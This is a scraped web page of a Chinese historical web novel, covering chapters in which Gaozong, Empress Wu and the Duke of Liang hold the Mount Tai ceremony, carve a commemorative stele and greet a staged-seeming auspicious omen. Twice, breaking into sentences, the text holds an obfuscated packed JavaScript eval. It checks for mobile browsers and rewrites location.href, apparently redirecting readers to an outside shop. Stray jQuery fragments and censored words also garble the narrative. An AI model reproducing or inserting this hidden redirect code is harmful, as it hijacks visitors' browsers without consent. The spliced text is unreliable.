许敬宗连忙躬身,双手奉上一卷装裱精美的绢帛:“启禀天后,碑文经臣与秘书省、弘文馆诸位学士反复斟酌,数易其稿,最终由陛下钦定,天后过目修改,梁国公亦曾寓目。共成文一篇,计一千二百八十七字。拟用此三方白玉巨碑,分碑额、碑阳、碑阴镌刻。碑额以篆书,碑文以隶书,乃请秘书省欧阳学士(指欧阳询之子欧阳通,其时欧阳询已逝,其子欧阳通亦以书法闻名)亲自书丹,务必工整遒劲,可传千古。”
“欧阳通书丹?甚好。”武则天点了点头,接过绢帛,却并未展开,而是直接递给了身旁的李瑾,“梁国公乃此番封禅首倡功臣,戎马功高,于碑文亦当有卓见,不妨再览。”
这个举动看似随意,却让周围竖起耳朵倾听的几位重臣心头又是一跳。将最终定稿的、记载皇帝、天后与她本人功绩的封禅碑文,在镌刻前交由李瑾“再览”,这其中的信任与荣宠,已不言而喻。这几乎是将李瑾放在了与帝后同等的高度,来“审定”这份将要流传千古的、关于他们三人功业的“定论”。
李瑾神色不变,双手接过绢帛,展开。绢帛之上,是工整秀丽的楷书誊抄稿。他目光沉静,一行行扫过。
文章开篇,自然是骈四俪六,辞藻华丽,先述封禅之意义,追述古之圣王,继而歌颂本朝高祖、太宗创业垂统,功德巍巍。旋即笔锋一转,浓墨重彩地铺陈当今天子李治的功绩:承天命,继大统,仁孝感天,宵旰忧勤,致天下太平,四夷宾服,文治武功,臻于至治。文中虽不免溢美之词,但亦列举了永徽以来的多项政绩,如延续贞观遗风、抚民以静、修订律令、编纂典籍等,倒也并非全然虚言。
紧接着,文章以“然天子垂拱,端居九重,政事繁剧,赖有贤佐”为过渡,引入了“天后”武则天。这部分文字,显然经过精心打磨,既不能过于直白地描述皇后干政(毕竟名义上仍是“辅佐”),又要充分彰显其功绩与不可或缺。文中称赞天后“聪慧明敏,识见超卓”,“辅佐圣躬,忧劳国事”,“劝课农桑,惠泽黎元”,“发明科举,广纳贤才”,“整肃吏治,朝野肃然”,甚至隐晦地提到了她在稳定后宫、教育皇子方面的作用。将许多本属于皇帝或朝臣的政绩,巧妙地与“辅佐”挂钩,归于天后“赞襄”之功。文字含蓄而有力,将一个贤明、能干、与皇帝同心同德、共治天下的“贤内助”形象,勾勒得栩栩如生。
然后,文章又以“方今海内晏然,然四夷未靖,边疆多故,圣心殷忧”为引,自然而然地转向了武功方面。这部分,则几乎是李瑾的个人功绩展览。从早年间随军征讨,到独当一面,镇守安西,大破突厥,抚定西域,开通商路,筑城屯田,设都护府以统诸胡……一直到近年的经略辽东、震慑吐蕃、平定西南诸獠叛乱,一桩桩,一件件,虽未详细描述战斗过程,但用词铿锵,气势磅礴,将李瑾形容为“国之柱石”、“帝之干城”、“擎天白玉·柱,架海紫金梁”,盛赞其“运筹帷幄,决胜千里”,“抚士以恩,御下有方”,“旌旗所指,群丑遁形”,“边疆以宁,天下晏然”。其功绩描述之详实,褒扬之隆重,甚至隐隐超过了前面描述皇帝“文治”的部分,更远超对皇后“辅政”的概括。
最后,文章以“此皆陛下圣德感召,天后明断辅弼,梁国公忠勇奋发,三才合德,共成盛世”作结,点明此次封禅,正是为了告谢天地,彰显这“君臣相得、上下同心”的旷世功业。并祈求皇天后土,保佑大唐“国祚绵长,江山永固,子孙繁盛,万世其昌”。
通篇读下来,文章骈散结合,辞藻华美,气势恢宏,将李治的“天命正统”、武则天的“贤明辅佐”、李瑾的“不世武功”巧妙编织在一起,共同构成了一个“君臣一体、共造盛世”的完美叙事。尤其是最后将三人功绩并列,以“三才合德”总结,更是将今日祭坛上“帝、后、公”并列的景象,用文字的形式固定下来,赋予了其“天命所归”、“理所当然”的神圣色彩。
李瑾看得很仔细,也很慢。山风吹动他手中的绢帛,哗哗作响。周围一片寂静,只有风声呼啸。所有人都屏息凝神,等待着这位刚刚行过终献礼、权倾朝野的梁国公,对这封“盖棺定论”式的碑文,作何表态。
良久,李瑾缓缓卷起绢帛,双手递还给武则天,声音平静无波:“天后,此文经纬天地,包举宇内,辞章华美,叙事详实。将陛下之仁德,天后之明断,将士之用命,百姓之归心,尽述其中。臣,并无异议。”
他没有说“陛下”,而是直接对“天后”回话。这个细节,被许多人捕捉到,心中滋味,难以言表。
武则天接过绢帛,脸上露出一丝几不可察的、满意的微笑。她转向许敬宗,朗声道:“陛下已览,梁国公亦无异议。许卿,可命工匠,即刻书丹上石,镌刻纪功,不得有误!”
“臣,领旨!”许敬宗声音洪亮,带着压抑不住的激动。他转身,对肃立一旁的欧阳通及众工匠高声道:“奉旨!即刻书丹镌刻!务求精工,以垂永世!”
“遵命!”以欧阳通为首的工匠、书家齐声应诺,声震山谷。
早已准备就绪的工匠们立刻行动起来。欧阳通虽年事已高,但精神矍铄,他挽起衣袖,来到早已搭好脚手架、固定好的第一方巨碑(碑额)前,深深吸了一口凛冽的空气,提起了那支特制的、饱蘸浓墨的巨大毛笔。这一刻,他不再是秘书省的学士,而是要将这旷世功业、惊世格局付诸金石的执笔人。他屏息凝神,腕悬笔走,一个个古朴庄严的篆书大字,随着他沉稳有力的笔锋,出现在洁白如玉的碑额石面上:
“大唐**天后神功圣德梁国公
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048358|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定难碑”
十五个擘窠大字,篆法严谨,气韵沉雄。“**”、“天后”并列在前,“梁国公”紧随其后,“神功圣德”统而誉之,“定难”二字点明武功核心。这碑额,已将这封禅、这碑文、乃至这个时代的核心,昭示无遗。
与此同时,另外两方巨碑前,数名书法大家亦开始同时书丹碑阳、碑阴正文。他们或蹲或坐,或仰或俯,依照早已反复练习过的字样,用端庄雄浑的隶书,将那一千二百八十七字的煌煌雄文,逐一书写到打磨得光可鉴人的石面上。每一笔,每一划,都凝聚着全神贯注,力求完美无瑕。
书丹完毕,镌刻的工匠立刻上前。他们手持各式凿子、锤子,按照墨迹,开始叮叮当当地凿刻。金石相击之声,清脆而富有节奏,在这泰山之巅、云海之畔响起,与呼啸的山风、远处隐约的礼乐余音交织在一起,形成一曲奇特而庄严的乐章。
皇帝李治似乎被这叮当声惊动,他微微转过头,浑浊的目光望向那三方巨碑,望向碑上逐渐显现的字迹。他的嘴唇翕动了几下,似乎想说什么,却终究没有发出声音,只是那眼神,变得更加空洞、茫然,仿佛一个局外人,在旁观着与自己有关的、却已无法掌控的叙事被铭刻入石。
武则天则端坐锦墩,目光平静地注视着工匠们的劳作。她的神情专注,仿佛在欣赏一件旷世艺术品的诞生。阳光洒在她华美的祎衣和凤冠上,折射出炫目的光芒,让她整个人笼罩在一层神圣的光晕之中。她知道,当这些字被永远镌刻在这泰山之巅,与日月同辉,与山岳同寿时,今日祭坛上的一切,她所获得的一切,才真正被赋予不可动摇的合法性,成为后人必须仰视、必须承认的历史。
李瑾亦**不语,目光掠过忙碌的工匠,掠过逐渐成型的碑文,投向更远处苍茫的云海与群山。碑文上那些华丽的辞藻,那些对他功绩的夸张颂扬,并未在他心中激起多少波澜。他更清楚地知道,这石碑,既是荣耀的丰碑,也是无形的枷锁;既是功业的记载,也是未来的靶心。它将他们三人——病弱的皇帝,强势的皇后,掌兵的国公——牢牢绑定在一起,共享荣光,也共担风险。这泰山的石头,坚硬冰冷,能够承载文字千年,但能否承载这微妙而脆弱的权力平衡,直到永远?
他收回目光,望向那方已刻出“梁国公”三字的碑额。字迹深刻,笔力遒劲,仿佛要穿透石背。他仿佛看到了千百年后,游人至此,仰望此碑,品读这段历史时的种种猜测、惊叹、争议与感慨。
时间,在叮叮当当的凿石声中缓缓流逝。日头逐渐升高,驱散了部分寒意,但山巅之风,依旧凛冽如刀。百官与使节们肃立等候,无人敢有怨言,只是那一道道目光,始终聚焦在那三方逐渐被文字覆盖的巨碑,以及碑前那三位沉默的身影之上。
终于,当日头略微西斜,将泰山群峰染上一层金红时,最后一凿落下,金石之声戛然而止。
“启禀陛下、天后、梁国公,碑文镌刻已毕,请御览!”欧阳通与工匠首领,满身石粉,额角见汗,上前复命。
内侍上前,用特制的软布,轻轻拂去碑面上的石粉。三方洁白如玉的巨碑,赫然矗立于观德峰之侧,背倚苍茫岱岳,面向浩瀚云海。碑额篆书古朴庄严,碑文隶书工整雄健,在夕阳的映照下,字字清晰,仿佛自带光芒。
武则天率先起身,缓步来到碑前。她仰起头,目光缓缓扫过那些记载着她功绩、将她与皇帝、与这煌煌盛世紧密联系在一起的文字,绝美的脸上,终于露出一抹真切而复杂的笑意。那笑意中有欣慰,有满足,有傲然,也有一丝难以言喻的、属于胜利者的冰冷。
李治也被搀扶着,颤巍巍地走到碑前。他眯着昏花的眼睛,费力地辨认着那些熟悉的、歌颂他“圣德”的文字,枯瘦的手指颤抖着,似乎想触摸那冰冷的碑面,却又在中途无力地垂下。最终,他只是发出一声几不可闻的、长长的叹息,不知是感慨,是解脱,还是别的什么。
李瑾最后上前。他站在碑前,身形挺拔如松。夕阳将他的影子拉得很长,与巨碑的阴影交融在一起。他看得很仔细,从碑额看到碑文末尾。当看到“三才合德,共成盛世”那几个字时,他的目光微微停留了一瞬。然后,他退后一步,整了整衣冠,对着这座记载着自己半生功业、也将自己与这个时代、与眼前这两人牢牢绑定在一起的石碑,以及石碑所代表的煌煌天命与无上权柄,深深地,躬身一礼。
身后,以许敬宗为首,文武百官,万国使节,齐刷刷跪倒一片,山呼之声,再次响彻岱岳之巅:
“**万岁!天后千岁!梁国公千秋!”
“神功圣德,泽被苍生!皇唐永固,江山万年!”
声浪如潮,在群山之间回荡,与那三方巍然矗立、仿佛要与泰山同寿的纪功巨碑一起,构成了麟德二年腊月甲子,泰山之巅,最震撼、也最意味深长的画面。
功业铭金石,声名动鬼神。然则,这以泰山为基、以白玉为体、以斧凿为笔书写下的“盛世”,其下是坚实的岩层,还是涌动的暗流?这被铭刻的“三才合德”,是牢不可破的铁三角,还是危如累卵的琉璃盏?
只有时间,和那亘古不变、呼啸而过的山风,知道答案。
第207章 天示祥瑞现
泰山观德峰。那三方刚刚镌刻完毕、墨迹犹新的白玉巨碑,在落日熔金般的余晖映照下,如同三柄巨大的玉笏,直指苍穹。碑文上“**天后神功圣德梁国公”的字样,仿佛流动着淡淡的金辉,庄严、神圣,却也带着几分不容置疑的、沉甸甸的压迫感。
山呼万岁、千岁、千秋的声浪,在群峰间回荡不息,许久才渐渐平息。然而,那回荡的余音,似乎并未真正散去,而是融入了泰山的松涛,与凛冽的山风纠缠在一起,形成一种奇特的、躁动不安的氛围。封禅大典的核心仪式——登封祭天、刻石纪功——已然完成。但一种无形的张力,却仍在山顶弥漫。许多人,尤其是那些心思复杂的朝臣与使节,在跪拜、颂扬之后,心中反而涌起更深的茫然、震撼,或是不安。他们看着碑前那三道在夕阳下拉长的身影,仿佛在仰望三座新的、活着的、不可逾越的山岳。
就在这时,一个略带颤抖、却又因激动而显得格外尖利的嗓音,突然从百官队列的末尾处响起,打破了这余韵未消的沉静:
“祥瑞!陛下、天后、梁国公!看呐!祥瑞啊!”
这声音如同投入滚油的火星,瞬间点燃了原本就暗流汹涌的气氛。所有人都下意识地顺着那官员手指的方向,仰头望去。
只见西天,那轮即将沉入云海的金红色落日,不知何时,其边缘竟泛起一圈异常明亮的、五彩斑斓的光晕,仿佛为日轮镶嵌了一圈璀璨夺目的宝石璎珞。光晕之中,赤、橙、黄、绿、青、蓝、紫,诸色流转,绚丽夺目,却又带着一种神圣而诡异的美感。而在那五彩日晕的上方,极高远的穹顶之上,竟有一道细长的、呈带状的气流,不知何时凝聚成形,其色非白非灰,隐隐透着难以言喻的紫金光芒,横贯天际,在渐暗的苍穹背景下,显得无比清晰,宛如一柄横亘天宇的巨大宝剑,又像是一条夭矫腾空的紫金神龙。
“五彩日晕!紫气横空!这是……这是天现异象,大吉之兆啊!”那首先发现异象的官员,是礼部一个不起眼的从六品主事,此刻激动得满脸通红,声音都变了调。他扑通一声跪倒在地,朝着帝后和巨碑的方向连连叩首,“天佑大唐!陛下、天后、梁国公封禅祭天,功感动天,故降下此等祥瑞!此乃上天嘉许,国祚永昌之兆!”
他这一喊,立刻在人群中引发了连锁反应。许多同样仰望天穹的官员,无论是出于真心震撼,还是机敏的附和,亦或是被气氛感染,都纷纷露出或惊愕、或狂喜、或敬畏的神情。
“果然是五彩日晕!《天官书》有云,日晕而五彩,主圣人出,天下和!”
“紫气!是紫气!昔日老子出函谷,关令尹喜见紫气东来,果然圣人出!今日紫气横空,正是应在我朝圣主、天后、贤臣身上!”
“天降祥瑞,以贺封禅!此乃陛下、天后、梁国公功德感天之明证!”
“臣等恭贺陛下!恭贺天后!恭贺梁国公!天命所归,盛世永昌!”
呼喊声、议论声、恭贺声,再次如同潮水般涌起,比之方才刻碑完成时的山呼,更多了几分发自肺腑的激动与对“天意”的敬畏。五彩日晕、紫气横空,这在笃信天人感应的时代,是无可置疑的、最高级别的祥瑞征兆!而且偏偏出现在登封礼成、刻碑完毕的这一刻,其象征意义,简直不言而喻!这不再是人力所能及的**,而是“上天”亲自“盖章认证”,为刚刚完成的这场旷世封禅,为那“**、天后、梁国公”并立的格局,披上了一层神圣不可侵犯的、天意的外衣!
那些原本心中对皇后亚献、国公终献、刻石纪功等“逾制”之举尚有微词或腹诽的守旧老臣,此刻仰望着天边那绚烂的日晕与横空的紫气,只觉得一股寒意从脚底直冲头顶。他们可以质疑礼法,可以非议人谋,但当“上天”都“显灵”表示认可时,他们还能说什么?难道要质疑天意?那岂不是自绝于天地,自绝于这煌煌“盛世”?不少人面色灰败,嘴唇哆嗦着,最终也只能随大流地跪倒在地,口中山呼万岁,心中却是一片冰凉,甚至生出几分“天命如此,非人力可违”的颓然与宿命感。
吐蕃赞婆仰头望着那奇异的天象,眉头紧锁。草原上的汉子也敬畏长生天,信奉种种自然征兆。但这“祥瑞”出现得太过巧合,太过“应景”,让他本能地生出几分疑虑。他悄悄看向周围狂热兴奋的唐臣,又看向祭坛方向那三道身影,尤其是那位神色始终沉静的梁国公,心中暗道:这“天意”,未免也太过“知趣”了些。难道唐人的神灵,也懂得为他们的君主、皇后、权臣锦上添花么?还是说……他目光闪烁,一个更可怕的念头浮上心头:难道这三人,当真得天之眷顾如此之深?他甩了甩头,将这动摇军心的念头压下,但那股不安,却已深深种下。
新罗使节金仁问则是面露惊叹与敬畏。他饱读诗书,对中原的祥瑞之说同样深信不疑。此刻见到如此清晰、如此应景的异象,心中那点因皇后亚献、权臣并立而产生的疑虑和警惕,竟被这“天意”冲淡了不少。或许,这唐国当真与别国不同,气运正隆,天命所归,故能出此女主贤臣,共辅圣主,成此不世功业?他心中对新罗未来的定位,悄然又发生了一丝偏移。
阿史那斛瑟罗则是满脸的震撼与狂热,他指着天边的紫气,用生硬的汉语对身边的突厥随从激动地道:“看!长生天在为我们尊贵的可汗、可贺敦和叶护(突厥对李瑾的尊称)显示祥瑞!他们是得到苍天眷顾的!跟着他们,我们突厥别部,也定能得到长生天的庇佑!”
一时间,观德峰上,人声鼎沸,群情激昂。“祥瑞”之说,如同野火燎原,迅速席卷了每一个人。百官、使节、内侍、禁军、乃至远处山道旁警戒的士卒,都激动地议论着,指天画地,仿佛亲眼见证了神迹。
在这一片几乎要沸腾的喧嚷中,祭坛前那三位主角的反应,却各不相同。
皇帝李治被内侍搀扶着,勉强抬头望了望天边那绚烂的日晕和横空的紫气。他浑浊的眼中先是闪过一丝迷茫,随即,那迷茫迅速被一种近乎狂热的、回光返照般的光芒所取代。他枯瘦的手颤抖着抬起,指着天空,嘴唇剧烈地哆嗦着,发出含糊不清、却异常激动的声音:“祥……祥瑞!是祥瑞!朕……朕封禅告天……上天……降下祥瑞了!看到了吗?媚娘……梁国公……你们看!上天……认可朕!认可朕的功业!朕……朕是真正的天子!”他语无伦次,涕泪横流,仿佛这“祥瑞”的出现,验证了他毕生的追求,也暂时驱散了他病体带来的死亡阴影。他挣脱内侍的搀扶,踉跄着想向前几步,似乎要更靠近那“天意”一些,却差点摔倒,被身旁的武则天眼疾手快,轻轻扶住。
武则天扶着李治,绝美的脸上,也适时地露出了恰到好处的震惊、喜悦与虔诚。她仰望着天边异象,凤目之中,仿佛有流光溢彩,与那五彩日晕交相辉映。她朱唇轻启,声音不大,却清晰地传入周围几人耳中:“陛下洪福齐天,仁德感召,故而上天垂示祥瑞,此乃我大唐之幸,万民之福。”她的话语,将祥瑞的出现,自然而然地归功于皇帝的“仁德”,姿态恭谨。但只有离她极近的人,或许能从她眼底深处,看到一丝一闪而过的、冰冷的、一切尽在掌握的锐利光芒。这祥瑞出现的时机,实在是太巧了,巧得令人心醉,也……令人深思。她微微侧目,不易察觉地瞥了一眼身旁的礼部尚书许敬宗。许敬宗正激动得满面红光,手舞足蹈地指挥着身边的官员记录这“天降吉兆”,感受到天后的目光,他立刻回以一个心领神会、略带谄媚的激动眼神,随即更加卖力地高呼“天佑大唐”。
李瑾也抬起了头,望向那横亘天际的紫气与五彩日晕。他的表情,是三人中最平静的,甚至可以说,平静得有些过分。没有李治那种病态的狂喜,没有武则天那种恰到好处的虔诚与惊喜,只有一种深邃的、仿佛在审视一件寻常事物的沉静。他久经沙场,见识过塞外最壮丽的日出日落,也遭遇过最诡异莫测的天气变化。五彩日晕,虽不常见,但在特定的气象条件下,并非不可能出现。至于那所谓的“紫气”,在高空特定角度和光线折射下,也可能形成类似的光学现象。巧合吗?或许。但出现在此时此刻,巧合得如此“完美”,便不再是单纯的巧合了。
他的目光缓缓扫过周围激动的人群,扫过那些狂热呼喊的官员,扫过神色各异的各国使节,最后,落在了那方刚刚刻好的、记载着“三才合德”的巨碑上。冰冷的石碑,绚烂的天象,狂热的人群,病弱的皇帝,深沉的皇后……这一切交织在一起,构成了一幅光怪陆离、却又无比真实的权力图景。
“祥瑞……”李瑾在心中默念这两个字,嘴角几不可察地掠过一丝极淡的、意味深长的弧度。是啊,祥瑞。人需要祥瑞,正如需要神祇。祥瑞可以凝聚人心,可以解释天命,可以堵住悠悠众口,可以为许多“逾制”之举披上合法的外衣。今日祭坛上的“逾制”,需要祥瑞来“正名”;皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048359|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与他的“并立”,需要祥瑞来“背书”;这刚刚开始的、三人共治的“新时代”,更需要祥瑞来“加持”。
他没有说话,也没有像其他人那样激动地指天画地。他只是静静地站在那里,紫袍玉带,身形挺拔,如同身旁那沉默的泰山巨岩。他的平静,与周围近乎狂热的氛围,形成了一种奇特的对比。但此刻,无人会去质疑梁国公的“淡定”,只会将其理解为“胸有惊雷而面如平湖”的大将风度,是对“天意”早已了然于胸的从容。
“陛下!”礼部尚书许敬宗快步上前,激动得声音都有些发颤,他扑通一声跪倒在李治和武则天面前,以头触地,高声奏道,“天降祥瑞,五彩环日,紫气横空,此乃千古未有之吉兆!正应在今日陛下、天后、梁国公封禅告成,功感天地!臣请即刻命史官详录,昭告天下,并勒石以记,与纪功碑同立岱岳,使万民咸知,使后世永瞻!”
他此言一出,立刻得到许多官员的附和。是啊,如此祥瑞,岂能不载入史册,铭于金石?
李治此刻仍处于激动之中,闻言连连点头,颤声道:“准!准奏!许爱卿,此事由你与太史局、秘书省即刻去办!定要……定要详实记录!”
“臣遵旨!”许敬宗大声应诺,随即又转向武则天和李瑾,深深一揖,“天后、梁国公,此乃天意昭昭,佑我皇唐!臣等幸甚至哉!”
武则天微微颔首,目光再次投向天边。那五彩日晕,随着夕阳的下沉,正渐渐变淡,但那道紫气,却似乎更加凝实,横亘在渐渐深蓝的天幕上,久久不散。她轻启朱唇,声音柔和却带着一种不容置疑的力量:“天意浩荡,陛下圣德,方有此兆。传旨,泰山上下,所有参与封禅官吏、将士、民夫,各赐酒食,同沐天恩。昭告天下州县,共贺祥瑞,与民同乐。”
“天后仁德!”又是一片**之声。
很快,便有擅长丹青的宫廷画师被召来,当场铺开绢帛,对着天际尚未完全消散的紫气与日晕余晖,开始勾勒描绘。太史局的官员则拿着纸笔,围着许敬宗和几位最先发现祥瑞的官员,紧张地询问细节,记录时间、方位、形态。更有官员文思泉涌,已经开始打腹稿,准备撰写辞藻华丽的《贺泰山封禅祥瑞表》了。整个观德峰,乃至整个泰山上下,都沉浸在一片“天命所归”、“盛世吉兆”的狂热氛围中。
当夕阳终于完全沉入云海,暮色四合,天边的紫气也渐渐融入深蓝的夜空,最终消失不见。但那“祥瑞”带来的激动与热议,却如同燎原之火,迅速从泰山之巅,蔓延向山下庞大的营地,并必将随着封禅队伍的归程,以最快的速度,传遍帝国的每一个角落。
篝火燃起,驱散了山巅的寒意与渐浓的暮色。酒肉的香气开始弥漫,赏赐的酒食被分发下去,营地中响起阵阵欢呼。白日里庄严肃穆、甚至有些压抑的封禅大典,似乎在这“天降祥瑞”的狂欢中,达到了另一个高潮。
李瑾回到了自己的大帐。帐内已点燃了炭盆,温暖如春。他卸下厚重的紫袍朝服,换上常服,屏退了左右,独自坐在案前。
案头,摊开着封禅仪程的图册,旁边是刚刚由许敬宗遣人送来的、关于祥瑞记录的初稿抄本,上面详细描述了“五彩日晕”、“紫气横空”的形态、时间、方位,并附上了几位官员激动万分的“证言”。字里行间,充满了对“天命”、“圣德”的歌颂。
李瑾拿起那份抄本,就着烛火,静静地看着。烛光跳跃,映照着他棱角分明的侧脸,忽明忽暗。
帐外,隐约传来营地中庆贺祥瑞的喧闹声,欢呼声,祝酒声。那是胜利者的盛宴,是“天命所归”的狂欢。
帐内,一片寂静。只有炭火偶尔发出的噼啪声,和远处隐约的、永不停歇的泰山松涛。
良久,他放下抄本,走到帐边,掀开厚毡的一角。寒风立刻灌入,带着山间特有的清冽与远处营地的喧嚣。他望向帐外沉沉的夜色,泰山巨大的轮廓在星空下沉默耸立,白日里那三方白玉巨碑所在的方向,如今已隐没在黑暗之中。
“五彩日晕……紫气横空……”他低声重复了一遍,声音轻得只有自己能听见,“祥瑞现,人心定,天命彰……媚娘,好手段。”
他放下帐帘,将寒风与喧嚣隔绝在外。帐内,重新恢复了温暖与寂静。
但有些东西,一旦被“天意”点燃,便再难熄灭。无论是人心中的狂热,还是那被祥瑞之光映照得无比清晰的、通往权力巅峰,也通往莫测未来的道路。
第208章 权力之巅峰
泰山封禅的最后一道余韵,随着“祥瑞”的喧嚣渐渐沉淀,化入泰山沉雄的夜色与清冽的晨风之中。然而,那无形中铸就的、崭新的权力巅峰,却如同岱宗日出,光芒万丈,无可阻挡地君临天下。
登封礼成,刻石纪功,天降祥瑞。这三重奏,在麟德二年岁末的泰山之巅,完成了对“**、天后、梁国公”三位一体权力格局最盛大、最不容置疑的“加冕”。这不再是朝堂上的博弈,不再是后宫中的密谋,甚至不再是军功的累积,而是祭告天地、铭文金石、感应上苍的神圣仪式。其合法性、神圣性,被推到了一个前所未有的高度。
封禅队伍并未在泰山久留。在完成所有既定仪式,并命有司详细记录、描绘“祥瑞”之象,准备另立“祥瑞碑”与纪功碑并立后,庞大的鸾驾便开始有序下山,准备启程返回东都洛阳,再返长安。
下山之路,与上山时的庄严肃穆、心怀忐忑不同,队伍中弥漫着一种近乎沸腾的、与有荣焉的激动气氛。无论是官员、禁军、内侍,还是随行的民夫、仆役,人人脸上都带着兴奋的红光,谈论的话题离不开昨日的祭天盛况、那三方白玉巨碑的巍峨、尤其是那“五彩日晕、紫气横空”的千古祥瑞。在他们朴素的认识里,能参与这样“感天动地”的大典,亲眼目睹“上天”显示吉兆,已是毕生难得的荣耀和谈资。而对于朝臣和使节们而言,这种激动之下,则涌动着更为复杂深刻的心绪波澜。
皇帝李治的状态,是这巅峰图景中一抹奇异的、带着病态荣光的色彩。下山时,他不再需要像上山那样大半时间躺在肩舆中,反而精神显得亢奋了许多。虽然脸色依旧苍白,脚步虚浮,需要内侍小心搀扶,但他的眼睛却亮得惊人,浑浊中透着一种回光返照般的、灼人的光芒。他时常会突然抓住身边内侍或近臣的手,絮絮叨叨地重复着:“看见了吗?祥瑞!上天认可朕了!朕是真正的天命之子!封禅泰山,功成告天,天降祥瑞……朕不负高祖、太宗之托,朕开创了盛世……”话语时而清晰,时而含糊,但那股源于“天意认可”带来的极致满足与亢奋,却溢于言表。他甚至会主动要求停下车驾,遥望泰山方向,尽管山峰早已隐没在云雾之后。这一刻,缠绕他多年的病痛、对死亡的恐惧、对权柄流失的无力感,似乎都被那“祥瑞”的神圣光辉暂时驱散,他沉浸在自己是“受命于天”的圣主明君的巨大幻觉中,享受着这迟来的、极致的荣耀慰藉。武则天总是温柔地陪伴在他身侧,轻声附和,细心照料,将一个贤惠、崇敬丈夫的皇后角色扮演得无可挑剔,尽管她眼底深处,是一片冰冷的平静。
武则天本人,则进入了一种更加内敛、却也更加掌控一切的状态。下山途中,她的车驾仪仗依旧雍容华贵,但她更多地待在车中,很少露面。然而,所有的重要奏报、朝廷在封禅期间积压的政务摘要、乃至沿途州县官府的动态,都被源源不断地送入她的车驾。她处理政务的效率丝毫未减,批阅奏章,发出指令,接见必要的沿途重臣或藩国使节代表,一切井井有条。封禅的成功,尤其是亚献的顺利实现与祥瑞的“及时”出现,将她个人的权威与“天命”紧密捆绑,使她原本就巨大的权柄,镀上了一层神圣不可侵犯的金身。如今,她不再仅仅是“皇后”,更是“天后”,是“二圣”之一,是得到了上天“祥瑞”认证的、与皇帝共同治理天下的“天命之人”。朝臣们奏事时,语气更加恭敬,头垂得更低;那些原本心存观望或略有微词的势力,如今要么彻底沉默,要么开始更加积极地靠拢。她的每一个眼神,每一句看似随意的话,都被赋予了更重的分量。她享受着这种权力巅峰带来的、如臂使指的快感,但也更加警惕。她知道,巅峰之上,往往寒风最冽,下一步,要么稳踞云端,要么……粉身碎骨。
梁国公李瑾,依旧是那副沉静如水的模样。他骑马随行在帝后车驾之后不远不近的位置,紫袍金带,身形挺拔,引得无数敬畏、好奇、探究的目光。封禅大典上,他以外姓功臣之身,行终献大礼,与帝后同立绝顶,共受朝拜,其荣宠,已达到了人臣的极致。再加上纪功碑上那毫不吝啬的颂扬,以及祥瑞“恰好”出现在他终献之后,这一切都将他推向了功勋、荣耀与权力的顶点。沿途州县官员迎送,无不对他表现出比对宰相更甚的恭敬;军中旧部、门生故吏前来拜见,言辞间充满了与有荣焉的激动;甚至一些藩国使节,也寻机递上拜帖,言辞恳切,试图与这位唐帝**方第一人、权力核心中举足轻重的巨头拉近关系。李瑾应对得体,既不倨傲,也不过分热络,保持着一种恰到好处的威严与距离。他清醒地知道,这巅峰的荣光,既是护身符,也是催命符。皇帝的病体与日益疏离的实权,天后的深沉心术与勃勃野心,太子李弘的日渐成年与微妙立场,朝中各方势力在封禅后必然重新进行的评估与站队……所有这一切,都如同隐藏在这盛大凯旋队伍下的暗流,随时可能涌动。他手握重兵,功高盖世,如今更被“神圣化”,与帝国命运深度绑定,这使他稳如泰山,也使他成了最醒目的靶子。
太子李弘,在封禅大典后,变得更加沉默。他依旧履行着储君的职责,在公开场合举止合宜,对待父母恭敬,对待朝臣温和。但细心人能发现,这位年轻的太子,眼神中时常掠过一丝与年龄不符的忧郁与深思。封禅台上,母亲越过他行亚献;纪功碑上,母后与梁国公的功绩描述几乎与父皇比肩;祥瑞现世,万民称颂的是“**天后”与“梁国公”……他这个名正言顺的储君,大唐未来的天子,在这幅极致的权力图景中,似乎成了一个略显尴尬的、被边缘化的影子。他读圣贤书,知礼守法,对父母(尤其是母亲)有着深厚的感情,也对李瑾这位功勋卓著的叔辈重臣保有敬意。但亲眼目睹、亲身经历这彻底颠覆传统礼法与权力结构的封禅,对他形成的冲击是巨大的。他感到迷茫,感到一种无形的压力,也感到一种深沉的、难以言说的孤独。他试图与自己的老师、与一些亲近的东宫属官探讨,得到的往往是含糊其辞或小心翼翼的安慰。他隐隐感觉到,自己正站在一个巨大的、由母亲和梁国公共同构筑的权力迷宫入口,前路莫测。
朝堂之上,暗流在封禅的光辉下悄然涌动,但也迅速形成了新的平衡与共识。以许敬宗、李义府为首的“拥武派”(现在或许该称“拥二圣派”)势力大涨,气焰更炽。他们弹冠相庆,奔走相告,将封禅成功、尤其是皇后亚献和天降祥瑞,视为自己**投资的巨大胜利,是“顺天应人”的明证。他们开始更加积极地鼓吹“二圣并尊”、“**天后同体”,并为李瑾的武功和地位大唱赞歌,试图将这位军神更牢固地绑在自己的战车上。而原本的反对派,如一些李唐宗室、关陇旧族代表、恪守儒家礼法的老臣,则在“祥瑞”和已成事实的“天命所归”面前,遭到了沉重打击。公开的、直接的反对声音几乎销声匿迹,许多人选择了沉默,或是表面上顺从,但内心的不满与警惕,却如同被压制的火山,在更深的地底积蓄着能量。他们中的一些人,将目光投向了日渐长大的太子李弘,或许,这是他们未来唯一的希望所在。
